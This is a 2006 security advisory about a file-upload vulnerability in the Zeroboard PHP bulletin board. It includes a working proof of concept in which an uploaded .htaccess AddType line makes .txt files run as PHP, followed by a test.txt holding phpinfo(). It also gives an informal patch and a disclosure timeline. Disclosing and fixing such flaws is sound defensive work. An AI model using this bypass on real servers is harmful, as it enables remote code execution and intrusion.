Zeroboard File Upload & extension bypass Vulnerability

[mins () wins21 com]

Zeroboard File Upload & extension bypass Vulnerability 

Author : Choi Min-sung (mins __at__ wins21.com)
Product : Zeroboard  http://www.nzeo.com
Verndor-Patches : Unpatched
Impact : remote code execution



Summary
=======

Basically, the PHP, HTML, and CGI files are prohibited to upload in Zeroboard. But uploading of the other files which 
can 

modify the configuration of Apache such as .htaccess is not considered as a serious issue. Therefore, an unknown 
attacker can 

execute any malicious codes on the system and acquire system control also.


Affected Products
=================

* The FileType in the .htaccess can be modified by configuring the Override FileInfo or OverrideAll in the httpd.conf 
of 

Apache. 
* Zeroboeard4.1pl8 or earlier  


Details
=======

Zeroboard basically prohibits uploading execution scripts such as php, html, cgi, and asp. 

write_ok.php 
------------
// Upload prohibited 
if($file1_size>0) { 
$s_file_name1=$file1_name; 
if(eregi("\.inc",$s_file_name1)||eregi("\.phtm",$s_file_name1)||eregi("\.htm",$s_file_name1)||eregi("\.shtm",$s_file_name1)

||eregi("\.ztx",$s_file_name1)||eregi("\.php",$s_file_name1)||eregi 
("\.dot",$s_file_name1)||eregi("\.asp",$s_file_name1)

||eregi("\.cgi",$s_file_name1)||eregi("\.pl",$s_file_name1)) Error("The HTML and PHP related files cannot be 
uploaded."); 


: But the above codes cannot block the upload of files such as .htaccess and etc. 


The Process of an Actual Attack 
=============================== 
- Attack Scenario 

1. A malicious user uploads a following '.htaccess' file. 

.htaccess 
--------- 
AddType application/x-httpd-php .php .php3 .php4 .htm .html .txt 

2. A malicious user uploads a following .txt file. 
test.txt 
-------- 
<? phpinfo(); ?>

3. The PHP script is executed, because the .txt file is modified to execute the PHP script. 

$ lynx --dump http://hackme/zb41pl7/bbs/data/test/test.txt 


Solution
========

Below is an informal patch that I made. 
Vendor Proceed -> Unpatched 

write_ok.php.patch 
------------------ 
--- write_ok.php.org 2005-09-01 19:22:17.000000000 +0900 
+++ write_ok.php 2005-09-01 19:22:27.000000000 +0900 
@@ -208,7 +208,7 @@ 

// Upload prohibited 
if($file1_size>0) { 
$s_file_name1=$file1_name; 
- 
if(eregi("\.inc",$s_file_name1)||eregi("\.phtm",$s_file_name1)||eregi("\.htm",$s_file_name1)||eregi("\.shtm",$s_file_name1)

||eregi("\.ztx",$s_file_name1)||eregi("\.php",$s_file_name1)||eregi("\.dot",$s_file_name1)||eregi("\.asp",$s_file_name1)

||eregi("\.cgi",$s_file_name1)||eregi("\.pl",$s_file_name1)) Error("The HTML and PHP related files cannot be 
uploaded."); 

+ if(preg_match("/^\./",$s_file_name1)||eregi("\.inc",$s_file_name1)||eregi("\.phtm",$s_file_name1)||eregi

("\.htm",$s_file_name1)||eregi("\.shtm",$s_file_name1)||eregi("\.ztx",$s_file_name1)||eregi("\.php",$s_file_name1)||eregi

("\.dot",$s_file_name1)||eregi("\.asp",$s_file_name1)||eregi("\.cgi",$s_file_name1)||eregi("\.pl",$s_file_name1)) 
Error("The 

HTML and PHP related files cannot be uploaded."); 

//Check extension 
if($setup[pds_ext1]) { 


Timeline
========
01/09/2005 Initial vendor notification. I made Temporary Patch.
02/09/2005 Vendor confirms vulnerability.
15/03/2006 Released Patch 4.1pl8 (NOT PATCHED THIS VULNERABILITY)
12/06/2006 Vulnerability reported to KISA (Korea Infomation Security Agency) KRCert
12/06/2006 Final Vendor Contact.
12/06/2006 Secunia notified of this vulnerability.
16/06/2006 Public disclosure.
 
Credits  
=======
Discovered by  Choi Min-sung, WINSTechnet CERT
 

Reference Site  
==============
http://securecast.wins21.com/zerovul.html
http://securecast.wins21.com/offer/offer_database_view.asp?code=WE06-0391